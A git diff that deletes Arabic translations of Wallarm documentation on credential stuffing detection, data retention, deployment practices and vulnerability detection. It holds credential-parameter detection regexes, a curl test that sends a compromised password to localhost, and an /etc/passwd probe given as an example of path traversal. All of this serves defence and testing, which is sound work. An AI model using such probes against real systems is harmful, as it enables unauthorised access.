المحددة مسبقًا من Wallarm التي تستخدم التعبيرات العادية لتحديد نقاط النهاية الشائعة المستخدمة للمصادقة والمعلمات التي تخزن كلمات المرور وأسماء الدخول. - * نقاط النهاية المستخدمة للمصادقة التي تم العثور عليها بواسطة الوحدة النمطية [API Discovery](../api-discovery/overview.md) وسجلت كونها تلقت حركة مرور فعلية. - -* يدويًا - يمكنك أيضًا تضمين نقاط النهاية الفريدة من نوعها للمصادقة الخاصة بك، مما يضمن الحماية الكاملة. عند الإضافة يدويًا، قم بتعيين [URI](../user-guides/rules/rules.md#uri-constructor) وطريقة البحث عن معلمات المصادقة: - - * بواسطة **موقع البارامترات بالضبط** - ستحتاج إلى التشير إلى نقاط الطلب [النقطة](../user-guides/rules/rules.md#points) التي توجد فيها كلمة المرور واسم الدخول بدقة. - * بواسطة **التعبير العادي** - سيتم البحث عن معلمات نقطة النهاية مع كلمة المرور واسم الدخول باستخدام [التعبير العادي](../user-guides/rules/rules.md#condition-type-regex). - - ![Credential Stuffing - إضافة نقاط النهاية للمصادقة - التعبير العادي](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-add-endpoint-regexp.png) - -## عرض محاولات استخدام بيانات الاعتماد المُخترقة - -يتم عرض عدد محاولات استخدام بيانات الاعتماد المُخترقة في الأيام السبع الأخيرة في قسم **Credential Stuffing**. انقر على العداد وسيتم توجيهك إلى قسم **الهجمات** الذي سيعرض جميع هجمات [`credential_stuffing`](../user-guides/search-and-filters/use-search.md#search-by-attack-type) للأيام السبع الأخيرة. - -قم بتوسيع أي من الهجمات لرؤية قائمة تسجيلات الدخول التي تم اختراق كلمات مرورها. - -![هجمات - credential stuffing](../images/about-wallarm-waf/credential-stuffing/credential-stuffing-attacks.png) - -## الحصول على قائمة CSV لبيانات الاعتماد المُخترقة - -يتم عرض العدد الإجمالي لبيانات الاعتماد المُخترقة في قسم **Credential Stuffing**. انقر على العداد وسيقوم المتصفح بتنزيل ملف CSV يحتوي على قائمة بيانات الاعتماد المُخترقة. - -## الحصول على إشعارات - -يمكنك الحصول على إشعارات فورية حول محاولات استخدام بيانات الاعتماد المُخترقة على بريدك الإلكتروني، أو Messenger، أو أحد [أنظمتك المتكاملة](../user-guides/settings/integrations/integrations-intro.md). لتمكين هذه الإشعارات، في قسم **المحفزات** لـ Wallarm، قم بتكوين مُحفز أو أكثر مع حالة **حساب المستخدم المُخترق**. - -يمكنك تضييق الإشعارات بواسطة التطبيق أو الاستضافة التي ترغب في مراقبتها وبواسطة نوع الاستجابة. - -**مثال على المؤثر: إشعار حول محاولة استخدام بيانات الاعتماد المُخترقة في Slack** - -في هذا المثال، إذا تم اكتشاف محاولة جديدة لاستخدام بيانات الاعتماد المُخترقة، سيتم إرسال إشعار حول هذا إلى قناة Slack الخاصة بك التي تم تكوينها. - -![مُحفز Credential stuffing](../images/user-guides/triggers/trigger-example-credentials-stuffing.png) - -**لاختبار المُحفز:** - -1. اذهب إلى Wallarm Console → **Integrations** في السحابة [US](https://us1.my.wallarm.com/integrations/) أو [EU](https://my.wallarm.com/integrations/)، وقم بتكوين [التكامل مع Slack](../user-guides/settings/integrations/slack.md). -1. في قسم **Credential Stuffing** ، تأكد من تمكين Credential Stuffing ، وتمت إضافة القاعدة المحددة مسبقًا من Wallarm التالية من **النقاط النهائية الموصى بها** إلى **نقاط النهاية النشطة للمصادقة**: - - الطلب هو: - - ``` - /**/{{login|auth}}.* - ``` - - كلمة المرور موجودة هنا: - - ``` - ([^/](|((api|current|new|old|plain)(|\.|-|_)))(pass(|word|wd))|^pass(|wd|word))$ - ``` - - تسجيل الدخول موجود هنا: - - ``` - ^((w+.)|_|.|)(login|user|auth)(|_|-.)(user|client|auth|id|name|)(|[\d])$ - ``` - -1. في قسم **المحفزات** ، أنشئ محفزا كما هو موضح أعلاه، وربطه بتكامل Slack الخاص بك. -1. أرسل طلبًا يحتوي على بيانات اعتماد مُخترقة إلى نقطة نهاية `localhost/login` الخاصة بالعقدة: - - ``` - curl -X POST http://localhost/login -d '{"password": "123456", "user": "user-01@company.com"}' - ``` - -1. في قسم **الهجمات**، تحقق من كون الطلب الخاص بك تم تسجيله بوصفه حدث من نوع `credential_stuffing`: محاولة لاستخدام بيانات الاعتماد المُخترقة. -1. قم بتوسيع الهجوم للتأكد من كونه يحتوي على معلومات الدخول المُخترقة. -1. تحقق من الرسائل في قناة Slack الخاصة بك. يجب أن تبدو الرسالة الجديدة كما يلي: - ``` - [wallarm] تم اكتشاف بيانات اعتماد مسروقة - - نوع الإشعار: compromised_logins - - تم اكتشاف بيانات اعتماد مسروقة في حركة مرورك الواردة: - - الحسابات المُخترقة: user-01@company.com - العنوان المرتبط: localhost/login - الرابط: https://my.wallarm.com/attacks/?q=attacks+d%3Alocalhost+u%3A%2Flogin+statuscode%3A404+application%3Adefault+credential_stuffing+2024%2F01%2F22 - - العميل: VotreEntreprise - السحابة: EU - ``` - -## القيود - -حاليًا، الوحدة النمطية لكشف Credential Stuffing غير مدعومة على عقد Wallarm التي تم توزيعها عبر: - -* حزم DEB/RPM لـ NGINX ([الاستقرار](../installation/nginx/dynamic-module.md), [التوزيع](../installation/nginx/dynamic-module-from-distr.md)) أو [NGINX Plus](../installation/nginx-plus.md) -* [وحدة Terraform لـ AWS](../installation/cloud-platforms/aws/terraform-module/overview.md) -* [صورة Docker المبنية على Envoy](../admin-en/installation-guides/envoy/envoy-docker.md) \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/data-retention-policy.md b/docs/latest-ar/about-wallarm/data-retention-policy.md deleted file mode 100644 index 41245306d9..0000000000 --- a/docs/latest-ar/about-wallarm/data-retention-policy.md +++ /dev/null @@ -1,15 +0,0 @@ -# سياسة الاحتفاظ بالبيانات - -تحدد هذه السياسة فترات الاحتفاظ بالمجموعات البياناتية المختلفة التي تجمعها Wallarm وتخزنها في سحاب Wallarm. - -| المجموعة البياناتية | الاشتراك المدفوع | النسخة المجانية/التجربة المجانية | -|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------------|------------------| -| البيانات المتعلقة بالهجمات والضربات والحوادث التي تكشف عنها عقد التصفية | 6 أشهر | 3 أشهر | -| البيانات المتعلقة بالثغرات الأمنية التي تكشف عنها عقد التصفية أو وحدة **التحقق من التهديدات النشطة** | 6 أشهر | 3 أشهر | -| البيانات المتعلقة بالثغرات الأمنية التي يكتشفها ماسح الثغرات الأمنية | 6 أشهر | 3 أشهر | -| إحصائيات حول الطلبات المعالجة والمحظورة المعروضة على لوحة تحكم [منع التهديد](../user-guides/dashboards/threat-prevention.md) | 6 أشهر | 3 أشهر | -| [الأصول المكشوفة للشركة](../user-guides/scanner.md) التي يكتشفها ماسح الأصول المكشوفة | 6 أشهر | 3 أشهر | -| سجل [عناوين IP المدرجة بالقائمة البيضاء، والقائمة السوداء، والقائمة الرمادية](../user-guides/ip-lists/overview.md) | 3 أشهر | 3 أشهر | -| [القواعد](../user-guides/rules/rules.md) التي تم إنشاؤها تلقائيًا أو يدويًا لمعالجة الحركة بواسطة عقد Wallarm | ∞ | ∞ | -| تكوين حساب Wallarm: [المستخدمون](../user-guides/settings/users.md)، [التطبيقات](../user-guides/settings/applications.md)، [التكاملات](../user-guides/settings/integrations/integrations-intro.md)، [المشغلات](../user-guides/triggers/triggers.md) | ∞ | ∞ | -| سجلات [سجل التدقيق](../user-guides/settings/audit-log.md) | 6 أشهر | 3 أشهر | \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/deployment-best-practices.md b/docs/latest-ar/about-wallarm/deployment-best-practices.md deleted file mode 100644 index d79cc13a77..0000000000 --- a/docs/latest-ar/about-wallarm/deployment-best-practices.md +++ /dev/null @@ -1,140 +0,0 @@ -# أفضل الممارسات لتنفيذ وصيانة حلول Wallarm - -يصاغ هذا المقال أفضل الممارسات لتنفيذ وصيانة حلول Wallarm. - -## فهم قوة NGINX - -تستخدم غالبية خيارات تنفيذ عقدة الترشيح Wallarm NGINX كخادم الوكيل العكسي (الأساس لوحدة Wallarm)، التي توفر مجموعة واسعة من الوظائف القابلة للتنفيذ، والأقسام الفرعية، ودلائل الأداء/الأمان. فيما يأتي مجموعة من المقالات المفيدة على الإنترنت: - -* [رائع NGINX](https://github.com/agile6v/awesome-nginx) -* [عرض شرائح الأساسيات وأفضل الممارسات لـ NGINX](https://www.slideshare.net/Nginx/nginx-basics-and-best-practices-103340015) -* [كيفية تحسين تكوين NGINX](https://www.digitalocean.com/community/tutorials/how-to-optimize-nginx-configuration) -* [3 خطوات سريعة لتحسين أداء خادم NGINX الخاص بك](https://www.techrepublic.com/article/3-quick-steps-to-optimize-the-performance-of-your-nginx-server/) -* [كيفية بناء خادم NGINX قوي في 15 خطوة](https://www.upguard.com/blog/how-to-build-a-tough-nginx-server-in-15-steps) -* [كيفية ضبط وتحسين أداء خادم الويب NGINX](https://hostadvice.com/how-to/how-to-tune-and-optimize-performance-of-nginx-web-server/) -* [طرق قوية لشحذ خادم NGINX الخاص بك وتحسين أدائه](https://www.freecodecamp.org/news/powerful-ways-to-supercharge-your-nginx-server-and-improve-its-performance-a8afdbfde64d/) -* [أفضل الممارسات في تنفيذ TLS](https://www.linode.com/docs/guides/tls-deployment-best-practices-for-nginx/) -* [دليل تأمين وتعزيز أمان خادم الويب NGINX](https://geekflare.com/nginx-webserver-security-hardening-guide/) -* [ضبط NGINX للحصول على أفضل أداء](https://github.com/denji/nginx-tuning) -* [أفضل 25 ممارسة أمان لخادم الويب NGINX](https://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html) - -## اتبع الخطوات الموصى بها للتشغيل - -1. تعرف على خيارات تنفيذ عقدة Wallarm المتاحة (../installation/supported-deployment-options.md). -2. تعرف على الخيارات المتاحة لإدارة تكوين عقدة Wallarm بشكل منفصل لبيئاتك (../installation/multi-tenant/overview.md#issues-addressed-by-multitenancy) (إذا كان ذلك ضروريًا). -3. نفذ عقد الترشيح Wallarm في بيئاتك غير المنتجة مع تعيين [وضع التشغيل](../admin-en/configure-wallarm-mode.md) على `monitoring`. -4. تعرف على كيفية التشغيل والتحجيم ومراقبة حل Wallarm، وتأكيد استقرار العنصر الشبكي الجديد. -5. نفذ عقد الترشيح Wallarm في بيئتك الإنتاجية مع تعيين [وضع التشغيل](../admin-en/configure-wallarm-mode.md) على `monitoring`. -6. قم بتنفيذ إدارة التكوين السليم و[عمليات المراقبة](#enable-proper-monitoring-of-the-filtering-nodes) للمكون Wallarm الجديد. -7. حافظ على تدفق المرور عبر عقد الترشيح في جميع بيئاتك (بما في ذلك الاختبار والإنتاج) لمدة 7-14 يومًا لإعطاء الواجهة الخلفية القائمة على السحابة من Wallarm بعض الوقت للتعرف على تطبيقك. -8. قم بتنشيط وضع "block" لـ Wallarm في جميع بيئاتك غير المنتجة واستخدم الاختبارات الآلية أو اليدوية للتأكيد أن التطبيق المحمي يعمل كما هو متوقع. -9. قم بتمكين وضع "block" لـ Wallarm في بيئة الإنتاج واستخدم الطرق المتاحة لتأكيد أن التطبيق يعمل كما هو متوقع. - -## قم بتنفيذ عقد الترشيح ليس فقط في بيئة الإنتاج ولكن أيضًا في الاختبار والتجهيز - -لا تحدود معظم عقود خدمة Wallarm عدد عقد Wallarm التي يمكن تنفيذها من قبل العميل، لذا لا يوجد سبب لعدم تنفيذ عقد الترشيح في جميع بيئاتك، بما في ذلك التطوير، الاختبار، التجهيز، إلخ. - -بتنفيذ واستخدام عقد الترشيح في جميع مراحل نشاطات التطوير و/أو تشغيل الخدمات البرمجية، لديك فرصة أفضل لاختبار جميع بيانات التدفق بشكل صحيح والتقليل من خطر أي حالات غير متوقعة في بيئة الإنتاج الحرجة الخاصة بك. - -## تمكين مكتبة libdetection - -يُحسِّن تحليل الطلبات باستخدام [مكتبة **libdetection**](protecting-against-attacks.md#library-libdetection) بشكل كبير قدرة عقدة الترشيح على اكتشاف هجمات SQLi. يوصى بشدة لجميع عملاء Wallarm بالترقية (/updating-migrating/general-recommendations/) إلى أحدث إصدار من برمجيات عقدة الترشيح والحفاظ على مكتبة **libdetection** مفعلة. - -* في إصدار 4.4 من عقدة الترشيح والإصدارات الأعلى، يتم تمكين **libdetection** بشكل افتراضي. -* في الإصدارات الأقل، يُوصى بتمكينه باستخدام [النهج](protecting-against-attacks.md#managing-libdetection-mode) لخيار تنفيذك. - -## قم بتكوين تقارير صحيحة لعناوين IP للمستخدم النهائي - -بالنسبة لعقد ترشيح Wallarm الموجودة خلف الموازن أو CDN، يرجى التأكد من تكوين عقد الترشيح الخاصة بك للإبلاغ بشكل صحيح عن عناوين IP للمستخدم النهائي (وإلا فإن القائمة IP ، [التحقق من التهديد النشط](detecting-vulnerabilities.md#active-threat-verification) ، وبعض الميزات الأخرى لن تعمل): - -* [تعليمات لعقد Wallarm القائمة على NGINX](../admin-en/using-proxy-or-balancer-en.md) (بما في ذلك صور AWS / GCP وحاوية العقدة Docker) -* [تعليمات لعقد الترشيح التي تم تنفيذها كمراقب وصول Wallarm لـ Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## قم بتمكين المراقبة السليمة لعقد الترشيح - -من القدر العالي من الأفضلية تمكين المراقبة الصحيحة لعقد ترشيح Wallarm. - -طريقة إعداد مراقبة عقدة الترشيح تعتمد على خيار تنفيذها: - -* [تعليمات لعقد الترشيح التي تم تنفيذها كمراقب وصول Wallarm لـ Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [تعليمات لصورة Docker القائمة على NGINX](../admin-en/installation-docker-en.md#monitoring-configuration) - -## قم بتنفيذ الوظائف المتكررة السليمة ووظائف الفشل التلقائي - -مثل كل مكون آخر حرج في بيئة الإنتاج الخاصة بك، يجب أن تتم تصميم وتنفيذ وتشغيل عقد Wallarm بالمستوى السليم من التكرار والفشل التلقائي. يجب أن يكون لديك **على الأقل عقدتين ترشيح Wallarm نشطتين** تتعاملان مع طلبات المستخدمين النهائيين الحرجة. توفر المقالات التالية معلومات ذات صلة حول الموضوع: - -* [تعليمات لعقد Wallarm القائمة على NGINX](../admin-en/configure-backup-en.md) (بما في ذلك صور AWS / GCP، حاوية عقدة Docker، وsidecars Kubernetes) -* [تعليمات لعقد الترشيح التي تم تنفيذها كمراقب وصول Wallarm لـ Kubernetes](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) - -## تعرف على كيفية استخدام قائمة السماح بالعناوين IP، وقائمة الرفض، والقائمة الرمادية - -بالإضافة إلى حظر الطلبات الخبيثة الفردية، يمكن أيضًا لعقد الترشيح Wallarm حظر عناوين IP فردية للمستخدمين النهائيين. يتم تكوين قواعد حظر IPs باستخدام قوائم السماح، والقوائم السوداء والقوائم الرمادية. - -[مزيد من التفاصيل حول استخدام قوائم IP →](../user-guides/ip-lists/overview.md) - -## تعرف على كيفية تنفيذ التغييرات التكوينية لـ Wallarm بشكل تدريجي - -* استخدم سياسات إدارة التغييرات DevOps القياسية والتوزيع التدريجي للتغييرات التكوينية ذات المستوى المنخفض لعقد الترشيح Wallarm في جميع الأشكال. -* بالنسبة لقواعد ترشيح المرور، استخدم مجموعة مختلفة من الأعداد التعريفية للتطبيقات (ID). -* للقاعدة [إنشاء مؤشر هجوم معتمد على عبارات الرجوع](../user-guides/rules/regex-rule.md#adding-a-new-detection-rule) ، بالإضافة إلى القدرة المذكورة أعلاه لربطها بمعرف تطبيق معين، يمكن تمكينها في وضع المراقبة (مربع "Experimental") حتى عند تشغيل عقدة Wallarm في وضع الحظر. -* القاعدة [Set filtration mode](../admin-en/configure-wallarm-mode.md#setting-up-endpoint-targeted-filtration-rules-in-wallarm-console) يسمح بالتحكم في وضع التشغيل لعقدة Wallarm (`monitoring `، `safe_blocking` أو `block`) من وحدة تحكم Wallarm، بنفس طريقة ضبط [`wallarm_mode`](../admin-en/configure-parameters-en.md#wallarm_mode) في تكوين NGINX (حسب تواجد `wallarm_mode_allow_override`). - -## قم بتكوين التكاملات المتاحة لتلقي الإشعارات من النظام - -يوفر Wallarm [تكاملات أصلية](../user-guides/settings/integrations/integrations-intro.md) مع Slack، Telegram، PagerDuty، Opsgenie وأنظمة أخرى لإرسال إشعارات أمان مختلفة تم إنشاؤها من قبل النظام بسرعة الى داخل النظام، على سبيل المثال: - -* الثغرات الأمنية الكشف عنها حديثا -* التغييرات في الشبكة الخاصة بالشركة -* المستخدمون المضافين حديثًا إلى حساب الشركة عبر وحدة تحكم Wallarm، إلخ - -يمكنك أيضًا استخدام وظيفة [المشغلات](../user-guides/triggers/triggers.md) لإعداد تنبيهات مخصصة حول الأحداث المختلفة التي تحدث في النظام. - -## تعرف على قوة وظيفة المشغلات - -اعتمادًا على بيئتك المحددة، نوصي بتكوين [المشغلات](../user-guides/triggers/triggers.md) التالية: - -* المراقبة عند ارتفاع مستوى الطلبات الخبيثة المكتشفة من قِبل عقد Wallarm. هذا المشغل قد يشير إلى واحدة من المشكلات المحتملة التالية: - - * أنت تحت الهجوم وعقدة Wallarm تحظر الطلبات الخبيثة بنجاح. قد تفكر في مراجعة الهجمات المكتشفة وحظر عناوين IP للمهاجمة المبلغ عنها يدويًا. - * لديك مستوى متزايد من الهجمات الموجبة الكاذبة المكتشفة من قِبل عقد Wallarm. قد تفكر في تصعيدها إلى [فريق الدعم الفني لـ Wallarm](mailto:support@wallarm.com) أو التحقق منها يدويًا ك[طلبات موجبة كاذبة](../user-guides/events/false-attack.md). - * إذا كان لديك [المشغلات المباحة](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour) نشطة ولكنك ما زلت تتلقى تنبيهات عند ارتفاع مستوى الهجمات، فقد يشير التنبيه إلى أن المشغل لا يعمل كما هو متوقع. - - [راجع النموذج الملائم للمشغل →](../user-guides/triggers/trigger-examples.md#slack-notification-if-2-or-more-sqli-hits-are-detected-in-one-minute) -* إبلاغ أن هناك مستخدم جديد تمت إضافته لحساب شركتك في وحدة تحكم Wallarm - - [راجع النموذج الملائم للمشغل →](../user-guides/triggers/trigger-examples.md#slack-and-email-notification-if-new-user-is-added-to-the-account) -* علامة على طلبات الهجمات القوية والتصفح القسري وحظر عناوين IP التي انطلقت منه الطلبات - - [تعليمات حول ضبط الحماية من القوة الغاشمة →](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* إبلاغ أن العناوين IP الجديدة تم حظرها - - [راجع النموذج الملائم للمشغل →](../user-guides/triggers/trigger-examples.md#notification-to-webhook-url-if-ip-address-is-added-to-the-denylist) -* الإضافة التلقائية لعناوين IP إلى [القائمة الرمادية](../user-guides/ip-lists/overview.md) المستخدمة في [الحظر الآمن](../admin-en/configure-wallarm-mode.md). -لتحسين معالجة المرور وتحميل الهجمات، تقوم Wallarm بتسبيق [المشغلات](../user-guides/triggers/triggers.md#pre-configured-triggers-default-triggers). - -## قم بتمكين SAML SSO لحسابك في وحدة تحكم Wallarm - -يمكنك استخدام مزود SAML SSO مثل G Suite، Okta، أو OneLogin لتوحيد مصادقة المستخدمين في حساب وحدة تحكم Wallarm الخاص بك. - -رجاءً التواصل مع مدير الحساب Wallarm الخاص بك أو فريق الدعم التقني لتمكين SAML SSO للحساب الخاص بك، وبعد ذلك اتبع [التعليمات](../admin-en/configuration-guides/sso/intro.md) لإجراء ضبط عملية SSO الخاصة بـ SAML. - -## استخدم مزود Wallarm لـ Terraform لإدارة تكوين Wallarm Cloud - -يسمح [مزود Wallarm الرسمي لـ Terraform](../admin-en/managing/terraform-provider.md) لك بإدارة تكوين الحساب الممنوح في السحاب (المستخدمون، التطبيقات، القواعد، التكاملات، إلخ) باستخدام أحدث Infrastructure as Code (IaC). - -## قم بتنفيذ خطة لتحديث بسرعة نسخ Wallarm المُصدرة حديثًا - -تعمل Wallarm باستمرار على تحسين برنامج عقدة الترشيح، حيث تتوفر إصدارات جديدة حوالي مرة كل ربع. الرجاء قراءة [هذا المستند](../updating-migrating/general-recommendations.md) للحصول على معلومات حول النهج المستحسن لإجراء الترقيات، مع المخاطر المرتبطة والإجراءات التحديث ال相关ة. - -## تعرف على المشكلات المعروفة - -* ستتلقى جميع عقد Wallarm المتصلة بنفس الحساب Wallarm نفس مجموعة القواعد الافتراضية والمخصصة لترشيح المرور. لا يزال يمكنك تطبيق قواعد مختلفة لتطبيقات مختلفة من خلال استخدام أدلة التعريف التطبيقية السليمة أو المعلمات الفريدة لطلب HTTP مثل الرؤوس، ومعلمات سلسلة الاستعلام، إلخ. -* إذا كان لديك مشغل مكون لحجب عنوان IP تلقائيًا ([مثال المشغل](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour))، سيقوم النظام بحجب IP لجميع التطبيقات في حساب Wallarm. - -## اتبع أفضل الممارسات للتحقق النشط من التهديد - -إحدى الطرق التي تستخدمها Wallarm ل[اكتشاف الثغرات الأمنية](../about-wallarm/detecting-vulnerabilities.md) هو **التحقق النشط من التهديد**. - -**التحقق النشط من التهديد** يتيح لك تحويل المهاجمين إلى اختبارات اختراق واكتشاف قضايا أمنية محتملة من نشاطهم أثناء استكشافهم لتطبيقاتك/APIs بحثًا عن الثغرات الأمنية. تحدد هذه الوحدة الثغرات الأمنية المحتملة من خلال استكشاف نقاط نهاية التطبيق باستخدام البيانات الحقيقية للهجوم من المرور. افتراضياً هذا الأسلوب معطل. - -[تعرّف على أفضل الممارسات لإعداد وحدة **التحقق النشط من التهديد** →](../vulnerability-detection/threat-replay-testing/setup.md) diff --git a/docs/latest-ar/about-wallarm/detecting-vulnerabilities.md b/docs/latest-ar/about-wallarm/detecting-vulnerabilities.md deleted file mode 100644 index f1a76c0fe2..0000000000 --- a/docs/latest-ar/about-wallarm/detecting-vulnerabilities.md +++ /dev/null @@ -1,89 +0,0 @@ -# كشف الثغرات الأمنية - -بسبب الإهمال أو نقص المعلومات عند بناء أو تنفيذ تطبيق، قد يكون عرضة للهجمات. ستتعلم من هذه المقالة كيفية كشف منصة Wallarm لثغرات التطبيق مما يتيح لك تحسين أمان النظام. - -## ما هي الثغرة الأمنية؟ - -الثغرة الأمنية هي خطأ يحدث بسبب الإهمال أو نقص المعلومات عند بناء أو تنفيذ تطبيق. يمكن استغلال الثغرة الأمنية من قبل المهاجم لتجاوز حدود الصلاحيات (أي أداء أفعال غير مصرح بها) داخل التطبيق. - -## طرق كشف الثغرات الأمنية - -عند فحص التطبيق بحثًا عن الثغرات الأمنية النشطة، ترسل Wallarm طلبات تحمل علامات الهجمات إلى عنوان التطبيق المحمي وتحلل استجابات التطبيق. إذا كانت الاستجابة تتطابق مع علامة واحدة أو أكثر للثغرة الأمنية المحددة مسبقًا، تسجل Wallarm الثغرة الأمنية النشطة. - -على سبيل المثال: إذا كانت الاستجابة للطلب المرسل لقراءة محتويات `/etc/passwd` تعيد محتويات `/etc/passwd`، فإن التطبيق المحمي معرض لهجمات اختراق مسار النظام. ستسجل Wallarm الثغرة الأمنية بالنوع المناسب. - -لكشف الثغرات الأمنية في التطبيق، ترسل Wallarm طلبات تحمل علامات الهجمات باستخدام الطرق التالية: - -* **الكشف السلبي**: تم العثور على الثغرة بسبب واقعة أمنية حدثت. -* **التحقق من التهديدات النشطة**: يحول المهاجمين إلى اختبارات اختراق لك ويكتشف المشاكل الأمنية المحتملة من نشاطهم عندما يستكشفون تطبيقاتك/APIs بحثًا عن ثغرات. يجد هذا الوحدة الثغرات المحتملة عن طريق استكشاف نقاط النهاية في التطبيق باستخدام بيانات هجمات حقيقية من الحركة. بشكل افتراضي، يتم تعطيل هذه الطريقة. -* **ماسح الثغرات الأمنية**: يتم فحص الأصول المعرضة للشركة بحثًا عن الثغرات النمطية. - -### الكشف السلبي - -باستخدام الكشف السلبي، تكشف Wallarm ثغرة أمنية بسبب واقعة أمنية حدثت. إذا تم استغلال ثغرة أمنية في التطبيق أثناء هجوم، تسجل Wallarm واقعة الأمان والثغرة الأمنية التي تم استغلالها. - -الكشف السلبي عن الثغرات الأمنية مفعل بشكل افتراضي. - -### التحقق من التهديدات النشطة - -تحول وحدة التحقق من التهديدات النشطة التابعة لـ Wallarm المهاجمين إلى اختبارات اختراق خاصة بك. تُحلل محاولات الهجوم الأولية، ثم تستكشف طرقًا أخرى قد يتم استغلال نفس الهجوم من خلالها. هذا يكشف عن نقاط الضعف في بيئتك والتي حتى المهاجمين الأصليين لم يجدوها. [اقرأ المزيد](../vulnerability-detection/threat-replay-testing/overview.md) - -قدرات التحقق من التهديدات النشطة: - -* **الاختبار في الوقت الفعلي**: يستخدم بيانات الهجوم الحية لاكتشاف نقاط الضعف الحالية والمستقبلية المحتملة، مما يجعلك خطوة واحدة إلى الأمام من القراصنة. -* **محاكاة آمنة وذكية**: يتجاوز تفاصيل المصادقة الحساسة ويزيل الكود الضار في الاختبارات. يحاكي تقنيات الهجوم للأمان القصوى، دون المخاطرة بالضرر الفعلي. -* **اختبارات غير إنتاجية آمنة**: يتيح لك [إجراء فحوصات الثغرات الأمنية في إعداد تجريبي أو تطوير](../vulnerability-detection/threat-replay-testing/setup.md) باستخدام بيانات الإنتاج الحقيقية، ولكن من دون المخاطر مثل الإفراط في التحميل أو التعرض للبيانات. - -الوحدة معطلة بشكل افتراضي. لتفعيلها: - -1. تأكد من امتلاكك لخطة اشتراك **الأمان المتقدم للـ API** [خطة الاشتراك](subscription-plans.md#subscription-plans). الوحدة متاحة فقط تحت هذه الخطة. - - إذا كنت تستخدم خطة مختلفة، يرجى الاتصال بفريق [المبيعات لدينا](mailto:sales@wallarm.com) للانتقال إلى الخطة المطلوبة. -1. انتقل إلى وحدة التحكم الخاصة بـ Wallarm → **الثغرات الأمنية** → **تكوين** باتباع الرابط لـ [السحابة الأمريكية](https://us1.my.wallarm.com/vulnerabilities/active?configure=true) أو [السحابة الأوروبية](https://my.wallarm.com/vulnerabilities/active?configure=true)، وقم بتفعيل مفتاح **التحقق من التهديدات النشطة**. - -لديك القدرة أيضًا على [ضبط أو تخصيص سلوك الوحدة](../vulnerability-detection/threat-replay-testing/setup.md#enable) لنقاط النهاية المحددة. - -### ماسح الثغرات الأمنية - -#### كيف يعمل - -يفحص ماسح الثغرات الأمنية جميع الأصول المعرضة للشركة بحثًا عن الثغرات النمطية. يرسل الماسح طلبات إلى عناوين التطبيق من عناوين IP ثابتة ويضيف رأس `X-Wallarm-Scanner-Info` إلى الطلبات. - -#### التكوين - -* يمكن [تفعيل أو تعطيل](../user-guides/vulnerabilities.md#configuring-vulnerability-detection) الماسح في وحدة التحكم الخاصة بـ Wallarm → **الثغرات الأمنية** → **تكوين**. بشكل افتراضي، الماسح مفعل. -* يمكن تكوين قائمة [الثغرات القابلة للكشف](../user-guides/vulnerabilities.md#configuring-vulnerability-detection) بواسطة الماسح في وحدة التحكم الخاصة بـ Wallarm → **الثغرات الأمنية** → **تكوين**. بشكل افتراضي، يكتشف الماسح جميع الثغرات المتاحة. -* يمكن تكوين [حد الطلبات المرسلة من الماسح](../user-guides/scanner.md#limiting-vulnerability-scanning) لكل أصل في وحدة التحكم الخاصة بـ Wallarm → **الماسح** → **تكوين**. -* إذا كنت تستخدم مرافق إضافية (برمجيات أو أجهزة) لتصفية حركة المرور وحجبها تلقائيًا، يُنصح بتكوين قائمة مسموح بها مع [عناوين IP](../admin-en/scanner-addresses.md) لماسح Wallarm. هذا سيسمح لمكونات Wallarm بمسح مواردك بحثًا عن الثغرات الأمنية بسلاسة. - - لا تحتاج إلى إضافة عناوين IP للماسح يدويًا إلى قائمة السماح في Wallarm - ابتداءً من وحدة Wallarm 3.0، تُضاف عناوين IP للماسح تلقائيًا إلى قائمة السماح. - -## الإيجابيات الكاذبة - -**الإيجابي الكاذب** يحدث عند اكتشاف علامات الهجوم في الطلب المشروع أو عندما يتم تأهيل الكيان المشروع على أنه ثغرة أمنية. [المزيد من التفاصيل حول الإيجابيات الكاذبة في كشف الهجمات →](protecting-against-attacks.md#false-positives) - -قد تحدث الإيجابيات الكاذبة في فحص الثغرات الأمنية بسبب خصائص التطبيق المحمي. قد تشير الاستجابات المتشابهة لطلبات متشابهة إلى وجود ثغرة أمنية نشطة في تطبيق محمي واحد وتكون سلوكًا متوقعًا لتطبيق محمي آخر. - -إذا تم اكتشاف إيجابي كاذب لثغرة أمنية، يمكنك إضافة علامة مناسبة للثغرة الأمنية في وحدة التحكم الخاصة بـ Wallarm. ستغلق الثغرة الأمنية المعلمة على أنها إيجابي كاذب ولن يتم إعادة فحصها. - -إذا كانت الثغرة الأمنية المكتشفة موجودة في التطبيق المحمي ولا يمكن إصلاحها، نوصي بضبط قاعدة [**إنشاء تصحيح افتراضي**](../user-guides/rules/vpatch-rule.md). ستسمح هذه القاعدة بحجب الهجمات التي تستغل نوع الثغرة الأمنية المكتشفة وستلغي خطر وقوع حادث. - -## إدارة الثغرات الأمنية المكتشفة - -تُعرض جميع الثغرات الأمنية المكتشفة في وحدة التحكم الخاصة بـ Wallarm → قسم **الثغرات الأمنية**. يمكنك إدارة الثغرات الأمنية من خلال الواجهة كما يلي: - -* مشاهدة وتحليل الثغرات الأمنية -* تشغيل التحقق من حالة الثغرة الأمنية: لا تزال نشطة أو تم إصلاحها من جانب التطبيق -* إغلاق الثغرات الأمنية أو وسمها كإيجابيات كاذبة - -![قسم الثغرات الأمنية](../images/user-guides/vulnerabilities/check-vuln.png) - -إذا كنت تستخدم وحدة [**اكتشاف الـ API**](../api-discovery/overview.md) في منصة Wallarm، فإن الثغرات الأمنية مرتبطة بنقاط النهاية لـ API المكتشفة، على سبيل المثال: - -![اكتشاف الـ API - درجة الخطر](../images/about-wallarm-waf/api-discovery/api-discovery-risk-score.png) - -لمزيد من المعلومات حول إدارة الثغرات الأمنية، راجع 